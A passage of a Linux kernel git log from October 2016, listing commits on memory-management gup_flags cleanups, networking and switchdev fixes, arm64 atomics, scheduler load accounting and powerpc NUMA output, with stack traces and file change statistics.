that this flag is being used. The use of FOLL_FORCE is an issue as it overrides missing VM_READ/VM_WRITE flags for the VMA whose pages we are reading from/writing to, which can result in surprising behaviour. The patch series came out of the discussion around commit 38e088546522 ("mm: check VMA flags to avoid invalid PROT_NONE NUMA balancing"), which addressed a BUG_ON() being triggered when a page was faulted in with PROT_NONE set but having been overridden by FOLL_FORCE. do_numa_page() was run on the assumption the page _must_ be one marked for NUMA node migration as an actual PROT_NONE page would have been dealt with prior to this code path, however FOLL_FORCE introduced a situation where this assumption did not hold. See https://marc.info/?l=linux-mm&m=147585445805166 for the patch proposal" Additionally, there's a fix for an ancient bug related to FOLL_FORCE and FOLL_WRITE by me. [ This branch was rebased recently to add a few more acked-by's and reviewed-by's ] * gup_flag-cleanups: mm: replace access_process_vm() write parameter with gup_flags mm: replace access_remote_vm() write parameter with gup_flags mm: replace __access_remote_vm() write parameter with gup_flags mm: replace get_user_pages_remote() write/force parameters with gup_flags mm: replace get_user_pages() write/force parameters with gup_flags mm: replace get_vaddr_frames() write/force parameters with gup_flags mm: replace get_user_pages_locked() write/force parameters with gup_flags mm: replace get_user_pages_unlocked() write/force parameters with gup_flags mm: remove write/force parameters from __get_user_pages_unlocked() mm: remove write/force parameters from __get_user_pages_locked() mm: remove gup_flags FOLL_WRITE games from __get_user_pages() commit 8214899342981dbd49ae24aadbbd19e9e7830684 Author: Piotr Luc Date: Tue Oct 18 17:01:11 2016 +0200 x86/cpufeature: Add AVX512_4VNNIW and AVX512_4FMAPS features AVX512_4VNNIW - Vector instructions for deep learning enhanced word variable precision. AVX512_4FMAPS - Vector instructions for deep learning floating-point single precision. These new instructions are to be used in future Intel Xeon & Xeon Phi processors. The bits 2&3 of CPUID[level:0x07, EDX] inform that new instructions are supported by a processor. The spec can be found in the Intel Software Developer Manual (SDM) or in the Instruction Set Extensions Programming Reference (ISE). Define new feature flags to enumerate the new instructions in /proc/cpuinfo accordingly to CPUID bits and add the required xsave extensions which are required for proper operation. Signed-off-by: Piotr Luc Cc: Denys Vlasenko Cc: Peter Zijlstra Cc: Brian Gerst Cc: Dave Hansen Cc: Borislav Petkov Cc: Andy Lutomirski Cc: Josh Poimboeuf Cc: Linus Torvalds Link: http://lkml.kernel.org/r/20161018150111.29926-1-piotr.luc@intel.com Signed-off-by: Thomas Gleixner arch/x86/include/asm/cpufeatures.h | 2 ++ arch/x86/kernel/cpu/scattered.c | 2 ++ arch/x86/kernel/fpu/xstate.c | 2 ++ tools/arch/x86/include/asm/cpufeatures.h | 2 ++ 4 files changed, 8 insertions(+) commit 854dd54245f7f1b1175b1bada613929396a571be Author: Renat Valiullin Date: Thu Oct 13 11:45:39 2016 -0700 x86/vmware: Skip timer_irq_works() check on VMware The timer_irq_works() boot check may sometimes fail in a VM, when the Host is overcommitted or when the Guest is running nested. Since the intended check is unnecessary on VMware's virtual hardware, by-pass it. Signed-off-by: Renat Valiullin Acked-by: Alok N Kataria Cc: virtualization@lists.linux-foundation.org Link: http://lkml.kernel.org/r/20161013184539.GA11497@rvaliullin-vm Signed-off-by: Thomas Gleixner arch/x86/kernel/cpu/vmware.c | 5 +++++ 1 file changed, 5 insertions(+) commit f307ab6dcea03f9d8e4d70508fd7d1ca57cfa7f9 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:20 2016 +0100 mm: replace access_process_vm() write parameter with gup_flags This removes the 'write' argument from access_process_vm() and replaces it with 'gup_flags' as use of this function previously silently implied FOLL_FORCE, whereas after this patch callers explicitly pass this flag. We make this explicit as use of FOLL_FORCE can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Jesper Nilsson Acked-by: Michal Hocko Acked-by: Michael Ellerman Signed-off-by: Linus Torvalds arch/alpha/kernel/ptrace.c | 9 ++++++--- arch/blackfin/kernel/ptrace.c | 5 +++-- arch/cris/arch-v32/kernel/ptrace.c | 4 ++-- arch/ia64/kernel/ptrace.c | 14 +++++++++----- arch/m32r/kernel/ptrace.c | 15 ++++++++++----- arch/mips/kernel/ptrace32.c | 5 +++-- arch/powerpc/kernel/ptrace32.c | 5 +++-- arch/score/kernel/ptrace.c | 10 ++++++---- arch/sparc/kernel/ptrace_64.c | 24 ++++++++++++++++-------- arch/x86/kernel/step.c | 3 ++- arch/x86/um/ptrace_32.c | 3 ++- arch/x86/um/ptrace_64.c | 3 ++- include/linux/mm.h | 3 ++- kernel/ptrace.c | 16 ++++++++++------ mm/memory.c | 8 ++------ mm/nommu.c | 6 +++--- mm/util.c | 5 +++-- 17 files changed, 84 insertions(+), 54 deletions(-) commit 137baabe351e0554d06c6d5c84059fe343e2791e Author: Wei Yongjun Date: Mon Oct 17 15:47:39 2016 +0000 mm/numa: Remove duplicated include from mprotect.c Signed-off-by: Wei Yongjun Cc: Dave Hansen Cc: linux-mm@kvack.org Cc: Andrew Morton Cc: Mel Gorman Cc: "Kirill A. Shutemov" Link: http://lkml.kernel.org/r/1476719259-6214-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Thomas Gleixner mm/mprotect.c | 1 - 1 file changed, 1 deletion(-) commit 82454581d76ccb95535ba6898b39ac5baa123633 Author: Eric Dumazet Date: Tue Oct 18 13:24:07 2016 -0700 tcp: do not export sysctl_tcp_low_latency Since commit b2fb4f54ecd4 ("tcp: uninline tcp_prequeue()") we no longer access sysctl_tcp_low_latency from a module. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/tcp_ipv4.c | 1 - 1 file changed, 1 deletion(-) commit 6347e8d5bcce33fc36e651901efefbe2c93a43ef Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:19 2016 +0100 mm: replace access_remote_vm() write parameter with gup_flags This removes the 'write' argument from access_remote_vm() and replaces it with 'gup_flags' as use of this function previously silently implied FOLL_FORCE, whereas after this patch callers explicitly pass this flag. We make this explicit as use of FOLL_FORCE can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Michal Hocko Signed-off-by: Linus Torvalds fs/proc/base.c | 19 +++++++++++++------ include/linux/mm.h | 2 +- mm/memory.c | 11 +++-------- mm/nommu.c | 7 +++---- 4 files changed, 20 insertions(+), 19 deletions(-) commit 442486ec1096781c50227b73f721a63974b0fdda Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:18 2016 +0100 mm: replace __access_remote_vm() write parameter with gup_flags This removes the 'write' argument from __access_remote_vm() and replaces it with 'gup_flags' as use of this function previously silently implied FOLL_FORCE, whereas after this patch callers explicitly pass this flag. We make this explicit as use of FOLL_FORCE can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Michal Hocko Signed-off-by: Linus Torvalds mm/memory.c | 23 +++++++++++++++-------- mm/nommu.c | 9 ++++++--- 2 files changed, 21 insertions(+), 11 deletions(-) commit 9beae1ea89305a9667ceaab6d0bf46a045ad71e7 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:17 2016 +0100 mm: replace get_user_pages_remote() write/force parameters with gup_flags This removes the 'write' and 'force' from get_user_pages_remote() and replaces them with 'gup_flags' to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Michal Hocko Reviewed-by: Jan Kara Signed-off-by: Linus Torvalds drivers/gpu/drm/etnaviv/etnaviv_gem.c | 7 +++++-- drivers/gpu/drm/i915/i915_gem_userptr.c | 6 +++++- drivers/infiniband/core/umem_odp.c | 7 +++++-- fs/exec.c | 9 +++++++-- include/linux/mm.h | 2 +- kernel/events/uprobes.c | 6 ++++-- mm/gup.c | 22 +++++++--------------- mm/memory.c | 6 +++++- security/tomoyo/domain.c | 2 +- 9 files changed, 40 insertions(+), 27 deletions(-) commit 768ae309a96103ed02eb1e111e838c87854d8b51 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:16 2016 +0100 mm: replace get_user_pages() write/force parameters with gup_flags This removes the 'write' and 'force' from get_user_pages() and replaces them with 'gup_flags' to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Christian König Acked-by: Jesper Nilsson Acked-by: Michal Hocko Reviewed-by: Jan Kara Signed-off-by: Linus Torvalds arch/cris/arch-v32/drivers/cryptocop.c | 4 +--- arch/ia64/kernel/err_inject.c | 2 +- arch/x86/mm/mpx.c | 5 ++--- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 7 +++++-- drivers/gpu/drm/radeon/radeon_ttm.c | 3 ++- drivers/gpu/drm/via/via_dmablit.c | 4 ++-- drivers/infiniband/core/umem.c | 6 +++++- drivers/infiniband/hw/mthca/mthca_memfree.c | 2 +- drivers/infiniband/hw/qib/qib_user_pages.c | 3 ++- drivers/infiniband/hw/usnic/usnic_uiom.c | 5 ++++- drivers/media/v4l2-core/videobuf-dma-sg.c | 7 +++++-- drivers/misc/mic/scif/scif_rma.c | 3 +-- drivers/misc/sgi-gru/grufault.c | 2 +- drivers/platform/goldfish/goldfish_pipe.c | 3 ++- drivers/rapidio/devices/rio_mport_cdev.c | 3 ++- .../vc04_services/interface/vchiq_arm/vchiq_2835_arm.c | 3 +-- .../vc04_services/interface/vchiq_arm/vchiq_arm.c | 3 +-- drivers/virt/fsl_hypervisor.c | 4 ++-- include/linux/mm.h | 2 +- mm/gup.c | 12 +++--------- mm/mempolicy.c | 2 +- mm/nommu.c | 18 ++++-------------- 22 files changed, 49 insertions(+), 54 deletions(-) commit 7f23b3504a0df63b724180262c5f3f117f21bcae Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:15 2016 +0100 mm: replace get_vaddr_frames() write/force parameters with gup_flags This removes the 'write' and 'force' from get_vaddr_frames() and replaces them with 'gup_flags' to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Michal Hocko Reviewed-by: Jan Kara Signed-off-by: Linus Torvalds drivers/gpu/drm/exynos/exynos_drm_g2d.c | 3 ++- drivers/media/platform/omap/omap_vout.c | 2 +- drivers/media/v4l2-core/videobuf2-memops.c | 6 +++++- include/linux/mm.h | 2 +- mm/frame_vector.c | 13 ++----------- 5 files changed, 11 insertions(+), 15 deletions(-) commit 3b913179c3fa89dd0e304193fa0c746fc0481447 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:14 2016 +0100 mm: replace get_user_pages_locked() write/force parameters with gup_flags This removes the 'write' and 'force' use from get_user_pages_locked() and replaces them with 'gup_flags' to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Michal Hocko Reviewed-by: Jan Kara Signed-off-by: Linus Torvalds include/linux/mm.h | 2 +- mm/frame_vector.c | 8 +++++++- mm/gup.c | 12 +++--------- mm/nommu.c | 5 ++++- 4 files changed, 15 insertions(+), 12 deletions(-) commit 85dda4e5b0ee1f5b4e8cc93d39e475006bc61ccd Author: Jiri Pirko Date: Tue Oct 18 18:59:34 2016 +0200 rtnetlink: Add rtnexthop offload flag to compare mask The offload flag is a status flag and should not be used by FIB semantics for comparison. Fixes: 37ed9493699c ("rtnetlink: add RTNH_F_EXTERNAL flag for fib offload") Signed-off-by: Jiri Pirko Reviewed-by: Andy Gospodarek Signed-off-by: David S. Miller include/uapi/linux/rtnetlink.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 97c242902c209e7d46e365335db5202634484dcb Author: Ido Schimmel Date: Tue Oct 18 18:50:23 2016 +0200 switchdev: Execute bridge ndos only for bridge ports We recently got the following warning after setting up a vlan device on top of an offloaded bridge and executing 'bridge link': WARNING: CPU: 0 PID: 18566 at drivers/net/ethernet/mellanox/mlxsw/spectrum_switchdev.c:81 mlxsw_sp_port_orig_get.part.9+0x55/0x70 [mlxsw_spectrum] [...] CPU: 0 PID: 18566 Comm: bridge Not tainted 4.8.0-rc7 #1 Hardware name: Mellanox Technologies Ltd. Mellanox switch/Mellanox switch, BIOS 4.6.5 05/21/2015 0000000000000286 00000000e64ab94f ffff880406e6f8f0 ffffffff8135eaa3 0000000000000000 0000000000000000 ffff880406e6f930 ffffffff8108c43b 0000005106e6f988 ffff8803df398840 ffff880403c60108 ffff880406e6f990 Call Trace: [] dump_stack+0x63/0x90 [] __warn+0xcb/0xf0 [] warn_slowpath_null+0x1d/0x20 [] mlxsw_sp_port_orig_get.part.9+0x55/0x70 [mlxsw_spectrum] [] mlxsw_sp_port_attr_get+0xa5/0xb0 [mlxsw_spectrum] [] switchdev_port_attr_get+0x4f/0x140 [] switchdev_port_attr_get+0x100/0x140 [] switchdev_port_attr_get+0x100/0x140 [] switchdev_port_bridge_getlink+0x5b/0xc0 [] ? switchdev_port_fdb_dump+0x90/0x90 [] rtnl_bridge_getlink+0xe7/0x190 [] netlink_dump+0x122/0x290 [] __netlink_dump_start+0x15f/0x190 [] ? rtnl_bridge_dellink+0x230/0x230 [] rtnetlink_rcv_msg+0x1a6/0x220 [] ? __kmalloc_node_track_caller+0x208/0x2c0 [] ? rtnl_bridge_dellink+0x230/0x230 [] ? rtnl_newlink+0x890/0x890 [] netlink_rcv_skb+0xa4/0xc0 [] rtnetlink_rcv+0x28/0x30 [] netlink_unicast+0x18c/0x240 [] netlink_sendmsg+0x2fb/0x3a0 [] sock_sendmsg+0x38/0x50 [] SYSC_sendto+0x101/0x190 [] ? __sys_recvmsg+0x51/0x90 [] SyS_sendto+0xe/0x10 [] entry_SYSCALL_64_fastpath+0x1a/0xa4 The problem is that the 8021q module propagates the call to ndo_bridge_getlink() via switchdev ops, but the switch driver doesn't recognize the netdev, as it's not offloaded. While we can ignore calls being made to non-bridge ports inside the driver, a better fix would be to push this check up to the switchdev layer. Note that these ndos can be called for non-bridged netdev, but this only happens in certain PF drivers which don't call the corresponding switchdev functions anyway. Fixes: 99f44bb3527b ("mlxsw: spectrum: Enable L3 interfaces on top of bridge devices") Signed-off-by: Ido Schimmel Reported-by: Tamir Winetroub Tested-by: Tamir Winetroub Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller net/switchdev/switchdev.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit e4961b0768852d9eb7383e1a5df178eacb714656 Author: Ido Schimmel Date: Wed Oct 19 16:57:08 2016 +0300 net: core: Correctly iterate over lower adjacency list Tamir reported the following trace when processing ARP requests received via a vlan device on top of a VLAN-aware bridge: NMI watchdog: BUG: soft lockup - CPU#1 stuck for 22s! [swapper/1:0] [...] CPU: 1 PID: 0 Comm: swapper/1 Tainted: G W 4.8.0-rc7 #1 Hardware name: Mellanox Technologies Ltd. "MSN2100-CB2F"/"SA001017", BIOS 5.6.5 06/07/2016 task: ffff88017edfea40 task.stack: ffff88017ee10000 RIP: 0010:[] [] netdev_all_lower_get_next_rcu+0x33/0x60 [...] Call Trace: [] mlxsw_sp_port_lower_dev_hold+0x5a/0xa0 [mlxsw_spectrum] [] mlxsw_sp_router_netevent_event+0x80/0x150 [mlxsw_spectrum] [] notifier_call_chain+0x4a/0x70 [] atomic_notifier_call_chain+0x1a/0x20 [] call_netevent_notifiers+0x1b/0x20 [] neigh_update+0x306/0x740 [] neigh_event_ns+0x4e/0xb0 [] arp_process+0x66f/0x700 [] ? common_interrupt+0x8c/0x8c [] arp_rcv+0x139/0x1d0 [] ? vlan_do_receive+0xda/0x320 [] __netif_receive_skb_core+0x524/0xab0 [] ? dev_queue_xmit+0x10/0x20 [] ? br_forward_finish+0x3d/0xc0 [bridge] [] ? br_handle_vlan+0xf6/0x1b0 [bridge] [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xb0 [] netif_receive_skb+0x1c/0x70 [] br_pass_frame_up+0xc6/0x160 [bridge] [] ? deliver_clone+0x37/0x50 [bridge] [] ? br_flood+0xcc/0x160 [bridge] [] br_handle_frame_finish+0x224/0x4f0 [bridge] [] br_handle_frame+0x174/0x300 [bridge] [] __netif_receive_skb_core+0x329/0xab0 [] ? find_next_bit+0x15/0x20 [] ? cpumask_next_and+0x32/0x50 [] ? load_balance+0x178/0x9b0 [] __netif_receive_skb+0x18/0x60 [] netif_receive_skb_internal+0x40/0xb0 [] netif_receive_skb+0x1c/0x70 [] mlxsw_sp_rx_listener_func+0x61/0xb0 [mlxsw_spectrum] [] mlxsw_core_skb_receive+0x187/0x200 [mlxsw_core] [] mlxsw_pci_cq_tasklet+0x63a/0x9b0 [mlxsw_pci] [] tasklet_action+0xf6/0x110 [] __do_softirq+0xf6/0x280 [] irq_exit+0xdf/0xf0 [] do_IRQ+0x54/0xd0 [] common_interrupt+0x8c/0x8c The problem is that netdev_all_lower_get_next_rcu() never advances the iterator, thereby causing the loop over the lower adjacency list to run forever. Fix this by advancing the iterator and avoid the infinite loop. Fixes: 7ce856aaaf13 ("mlxsw: spectrum: Add couple of lower device helper functions") Signed-off-by: Ido Schimmel Reported-by: Tamir Winetroub Reviewed-by: Jiri Pirko Acked-by: David Ahern Signed-off-by: David S. Miller include/linux/netdevice.h | 2 +- net/core/dev.c | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) commit 1e6e57d9b34a9075d5f9e2048ea7b09756590d11 Author: Will Deacon Date: Mon Jul 4 17:44:48 2016 +0100 arm64: percpu: rewrite ll/sc loops in assembly Writing the outer loop of an LL/SC sequence using do {...} while constructs potentially allows the compiler to hoist memory accesses between the STXR and the branch back to the LDXR. On CPUs that do not guarantee forward progress of LL/SC loops when faced with memory accesses to the same ERG (up to 2k) between the failed STXR and the branch back, we may end up livelocking. This patch avoids this issue in our percpu atomics by rewriting the outer loop as part of the LL/SC inline assembly block. Cc: Fixes: f97fc810798c ("arm64: percpu: Implement this_cpu operations") Reviewed-by: Mark Rutland Tested-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/percpu.h | 120 +++++++++++++++++++--------------------- 1 file changed, 56 insertions(+), 64 deletions(-) commit 1c5b51dfb7b4564008e0cadec5381a69e88b0d21 Author: Will Deacon Date: Mon Jul 4 16:59:43 2016 +0100 arm64: swp emulation: bound LL/SC retries before rescheduling If a CPU does not implement a global monitor for certain memory types, then userspace can attempt a kernel DoS by issuing SWP instructions targetting the problematic memory (for example, a framebuffer mapped with non-cacheable attributes). The SWP emulation code protects against these sorts of attacks by checking for pending signals and potentially rescheduling when the STXR instruction fails during the emulation. Whilst this is good for avoiding livelock, it harms emulation of legitimate SWP instructions on CPUs where forward progress is not guaranteed if there are memory accesses to the same reservation granule (up to 2k) between the failing STXR and the retry of the LDXR. This patch solves the problem by retrying the STXR a bounded number of times (4) before breaking out of the LL/SC loop and looking for something else to do. Cc: Fixes: bd35a4adc413 ("arm64: Port SWP/SWPB emulation support from arm") Reviewed-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/kernel/armv8_deprecated.c | 36 ++++++++++++++++++++++-------------- 1 file changed, 22 insertions(+), 14 deletions(-) commit 3805a938a6c24284863732fd45cec5a04609a224 Author: Eric Garver Date: Mon Oct 17 16:30:12 2016 -0400 flow_dissector: Check skb for VLAN only if skb specified. Fixes a panic when calling eth_get_headlen(). Noticed on i40e driver. Fixes: d5709f7ab776 ("flow_dissector: For stripped vlan, get vlan info from skb->vlan_tci") Signed-off-by: Eric Garver Reviewed-by: Jakub Sitnicki Acked-by: Amir Vadai Signed-off-by: David S. Miller net/core/flow_dissector.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 889882bce2a5f69242c1f3acd840983f467499b9 Author: Lukasz Odzioba Date: Tue Oct 4 18:26:26 2016 +0200 perf/x86/intel/cstate: Add C-state residency events for Knights Landing Although KNL does support C1,C6,PC2,PC3,PC6 states, the patch only supports C6,PC2,PC3,PC6, because there is no counter for C1. C6 residency counter MSR on KNL has a different address than other platforms which is handled as a new quirk flag. Signed-off-by: Lukasz Odzioba Acked-by: Peter Zijlstra Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Rafael J. Wysocki Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: bp@suse.de Cc: dave.hansen@linux.intel.com Cc: kan.liang@intel.com Link: http://lkml.kernel.org/r/1475598386-19597-1-git-send-email-lukasz.odzioba@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/cstate.c | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) commit 1ee1710cd6bbf49853688e97d6e1d98b48f28586 Author: Wei Yongjun Date: Wed Oct 19 13:19:02 2016 +0000 wusb: fix error return code in wusb_prf() Fix to return error code -ENOMEM from the kmalloc() error handling case instead of 0, as done elsewhere in this function. Fixes: a19b882c07a6 ("wusb: Stop using the stack for sg crypto scratch space") Signed-off-by: Wei Yongjun Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/crypto.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 733cbe069835d081c9e4bbfabb25597da472359c Merge: a19b882 a1aa8cf Author: Greg Kroah-Hartman Date: Wed Oct 19 15:26:42 2016 +0200 Merge tag 'fixes-for-v4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/balbi/usb into usb-linus Felipe writes: usb: fixes for v4.9-rc2 First set of fixes for v4.9-rc cycle. Nothing major this time around. The most important patches are the 3 fixes in dwc3 (dma_free_coheren() size fix, queued request accounting fix and Isochronous StartTransfer fix) and the 3 reverts on dwc2. We're also including the late atmel UDC fix which didn't make it into v4.8-final. commit b5a9b340789b2b24c6896bcf7a065c31a4db671c Author: Vincent Guittot Date: Wed Oct 19 14:45:23 2016 +0200 sched/fair: Fix incorrect task group ->load_avg A scheduler performance regression has been reported by Joseph Salisbury, which he bisected back to: 3d30544f0212 ("sched/fair: Apply more PELT fixes) The regression triggers when several levels of task groups are involved (read: SystemD) and cpu_possible_mask != cpu_present_mask. The root cause is that group entity's load (tg_child->se[i]->avg.load_avg) is initialized to scale_load_down(se->load.weight). During the creation of a child task group, its group entities on possible CPUs are attached to parent's cfs_rq (tg_parent) and their loads are added to the parent's load (tg_parent->load_avg) with update_tg_load_avg(). But only the load on online CPUs will then be updated to reflect real load, whereas load on other CPUs will stay at the initial value. The result is a tg_parent->load_avg that is higher than the real load, the weight of group entities (tg_parent->se[i]->load.weight) on online CPUs is smaller than it should be, and the task group gets a less running time than what it could expect. ( This situation can be detected with /proc/sched_debug. The ".tg_load_avg" of the task group will be much higher than sum of ".tg_load_avg_contrib" of online cfs_rqs of the task group. ) The load of group entities don't have to be intialized to something else than 0 because their load will increase when an entity is attached. Reported-by: Joseph Salisbury Tested-by: Dietmar Eggemann Signed-off-by: Vincent Guittot Acked-by: Peter Zijlstra Cc: # 4.8.x Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: joonwoop@codeaurora.org Fixes: 3d30544f0212 ("sched/fair: Apply more PELT fixes) Link: http://lkml.kernel.org/r/1476881123-10159-1-git-send-email-vincent.guittot@linaro.org Signed-off-by: Ingo Molnar kernel/sched/fair.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) commit b0dddf6c147e6fe61374d625c4bb2b7c52018639 Author: Ard Biesheuvel Date: Tue Oct 18 16:53:11 2016 +0100 efi/arm: Fix absolute relocation detection for older toolchains When building the ARM kernel with CONFIG_EFI=y, the following build error may occur when using a less recent version of binutils (2.23 or older): STUBCPY drivers/firmware/efi/libstub/lib-sort.stub.o 00000000 R_ARM_ABS32 sort 00000004 R_ARM_ABS32 __ksymtab_strings drivers/firmware/efi/libstub/lib-sort.stub.o: absolute symbol references not allowed in the EFI stub (and when building with debug symbols, the list above is much longer, and contains all the internal references between the .debug sections and the actual code) This issue is caused by the fact that objcopy v2.23 or earlier does not support wildcards in its -R and -j options, which means the following line from the Makefile: STUBCOPY_FLAGS-y := -R .debug* -R *ksymtab* -R *kcrctab* fails to take effect, leaving harmless absolute relocations in the binary that are indistinguishable from relocations that may cause crashes at runtime due to the fact that these relocations are resolved at link time using the virtual address of the kernel, which is always different from the address at which the EFI firmware loads and invokes the stub. So, as a workaround, disable debug symbols explicitly when building the stub for ARM, and strip the ksymtab and kcrctab symbols for the only exported symbol we currently reuse in the stub, which is 'sort'. Tested-by: Jon Hunter Signed-off-by: Ard Biesheuvel Reviewed-by: Matt Fleming Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-efi@vger.kernel.org Link: http://lkml.kernel.org/r/1476805991-7160-2-git-send-email-ard.biesheuvel@linaro.org Signed-off-by: Ingo Molnar drivers/firmware/efi/libstub/Makefile | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit dd1dafcdf071d94cb53917612c66a169ce741461 Author: Wei Yongjun Date: Mon Oct 17 14:26:57 2016 +0000 irqchip/eznps: Drop pointless static qualifier in nps400_of_init() There is no need to have the 'struct irq_domain *nps400_root_domain' variable static since new value is always assigned before use. Fixes: 44df427c894a ("irqchip: add nps Internal and external irqchips") Signed-off-by: Wei Yongjun Cc: Marc Zyngier Cc: Vineet Gupta Cc: Jason Cooper Link: http://lkml.kernel.org/r/1476714417-12095-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Thomas Gleixner drivers/irqchip/irq-eznps.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a17b9e4c9c5e9c4da4385908af0377af11529266 Author: Chen-Yu Tsai Date: Tue Oct 18 13:42:09 2016 +0800 clk: sunxi-ng: sun6i-a31: Force AHB1 clock to use PLL6 as parent On the A31, the DMA engine only works if AHB1 is clocked from PLL6. In addition, the hstimer is clocked from AHB1, and if AHB1 is clocked from the CPU clock, and cpufreq is working, we get an unstable timer. Force the AHB1 clock to use PLL6 as its parent. Previously this was done in the device tree with the assigned-clocks and assigned-clocks-parent bindings. However with this new monolithic driver, the system critical clocks aren't exported through the device tree. The alternative is to force this setting in the driver before the clocks are registered. This is also done in newer versions of mainline U-boot. But people still using an older version, or even the vendor version, can still hit this issue. Hence the need to do it in the kernel as well. Reported-by: Hans de Goede Reported-by: Maxime Ripard Fixes: c6e6c96d8fa6 ("clk: sunxi-ng: Add A31/A31s clocks") Signed-off-by: Chen-Yu Tsai Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu-sun6i-a31.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 78914ff0843623ee6dbeae92fa0bb8761828684e Author: Stephen Rothwell Date: Tue Oct 18 09:33:44 2016 +1100 powerpc: Ignore the pkey system calls for now Eliminates warning messages: :1316:2: warning: #warning syscall pkey_mprotect not implemented [-Wcpp] :1319:2: warning: #warning syscall pkey_alloc not implemented [-Wcpp] :1322:2: warning: #warning syscall pkey_free not implemented [-Wcpp] Hopefully we will remember to revert this commit if we ever implement them. Signed-off-by: Stephen Rothwell Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/include/asm/unistd.h | 4 ++++ 1 file changed, 4 insertions(+) commit 8467801cc8744511bd2664fae7d72ab704816844 Author: Aneesh Kumar K.V Date: Tue Oct 18 14:22:14 2016 +0530 powerpc: Fix numa topology console print With recent update to printk, we get console output like below: [ 0.550639] Brought up 160 CPUs [ 0.550718] Node 0 CPUs: [ 0.550721] 0 [ 0.550754] -39 [ 0.550794] Node 1 CPUs: [ 0.550798] 40 [ 0.550817] -79 [ 0.550856] Node 16 CPUs: [ 0.550860] 80 [ 0.550880] -119 [ 0.550917] Node 17 CPUs: [ 0.550923] 120 [ 0.550942] -159 Fix this by properly using pr_cont(), ie. KERN_CONT. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Michael Ellerman arch/powerpc/mm/numa.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 08b5e79ebdb58868cbb6976ba0e3898029394e6d Author: Michael Ellerman Date: Thu Oct 13 16:27:30 2016 +1100 powerpc/mm: Drop dump_numa_memory_topology() At boot we dump the NUMA memory topology in dump_numa_memory_topology(), at KERN_DEBUG level, resulting in output like: Node 0 Memory: 0x0-0x100000000 Node 1 Memory: 0x100000000-0x200000000 Which is nice enough, but immediately after that we iterate over each node and call setup_node_data(), which also prints out the node ranges, at KERN_INFO, giving eg: numa: Initmem setup node 0 [mem 0x00000000-0xffffffff] numa: Initmem setup node 1 [mem 0x100000000-0x1ffffffff] Additionally dump_numa_memory_topology() does not use KERN_CONT correctly, resulting in split output lines on recent kernels. So drop dump_numa_memory_topology() as superfluous chatter. Signed-off-by: Michael Ellerman Acked-by: Balbir Singh Signed-off-by: Michael Ellerman arch/powerpc/mm/numa.c | 36 ------------------------------------ 1 file changed, 36 deletions(-) commit 70b565bbdb911023373e035225ab10077e4ab937 Author: Vaibhav Jain Date: Fri Oct 14 15:08:36 2016 +0530 cxl: Prevent adapter reset if an active context exists This patch prevents resetting the cxl adapter via sysfs in presence of one or more active cxl_context on it. This protects against an unrecoverable error caused by PSL owning a dirty cache line even after reset and host tries to touch the same cache line. In case a force reset of the card is required irrespective of any active contexts, the int value -1 can be stored in the 'reset' sysfs attribute of the card. The patch introduces a new atomic_t member named contexts_num inside struct cxl that holds the number of active context attached to the card , which is checked against '0' before proceeding with the reset. To prevent against a race condition where a context is activated just after reset check is performed, the contexts_num is atomically set to '-1' after reset-check to indicate that no more contexts can be activated on the card anymore. Before activating a context we atomically test if contexts_num is non-negative and if so, increment its value by one. In case the value of contexts_num is negative then it indicates that the card is about to be reset and context activation is error-ed out at that point. Fixes: 62fa19d4b4fd ("cxl: Add ability to reset the card") Cc: stable@vger.kernel.org # v4.0+ Acked-by: Frederic Barrat Reviewed-by: Andrew Donnellan Signed-off-by: Vaibhav Jain 